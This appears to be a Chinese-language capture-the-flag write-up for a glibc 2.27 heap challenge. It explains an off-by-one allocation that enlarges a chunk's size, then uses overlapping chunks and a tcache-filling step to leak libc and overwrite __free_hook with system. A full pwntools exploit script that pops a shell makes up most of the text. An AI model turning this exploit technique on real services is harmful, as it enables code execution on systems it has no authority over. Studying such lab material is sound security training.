漏洞点
原本只能malloc十个堆块,但是当i等于10的时候,从for循环退出的时候还是会经过下面的malloc。所以是创建了11个chunk,并且第11个chunk的位置覆盖了第一个chunk的size。这就导致了chunk1的size变得很大,可以利用edit进行溢出。
攻击过程
利用chunk1的溢出修改chunk2的size字段,将后面的chunk3范围也算进去,然后释放chunk2就会连带着chunk3这个chunk一起进入Bin中,但是此时chunk3还是处于malloc可以利用其进行泄露以及后续申请到free_hook。
因为是在libc-2.27.so中,所以需要将tcachebin填满,这样释放chunk2后才能进入到unsortdbin中。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('challenge-1026ba657281cde1.sandbox.ctfhub.com', 31003) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.27.so') def add(size): rl("choice: ") sl('1') rl("size:") sl(str(size)) def delete(idx): rl("choice: ") sl('2') rl("idx:") sl(str(idx)) def edit(idx,size,content): rl("choice: ") sl('3') rl("idx:") sl(str(idx)) rl("size:") sl(str(size)) rl("content") sl(content) def show(idx): rl("choice: ") sl('4') rl("idx:") sl(str(idx)) gdb.attach(p)
for i in range(3): add(0xa0) for i in range(7): add(0x150)
add(0x10) for i in range(9,2,-1): delete(i)
edit(0,0x170,p64(0)*21+p64(0x161)) delete(1) add(0xa0) show(2) rl('\n') libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base) free_hook = libc_base+libc.sym['__free_hook'] system = libc_base + libc.sym['system'] add(0x20) delete(2) delete(3) add(0x20) edit(2,0x20,p64(free_hook)) add(0x20) edit(3,0x20,'/bin/sh\x00') add(0x20) edit(4,0x20,p64(system))
delete(3) inter()
|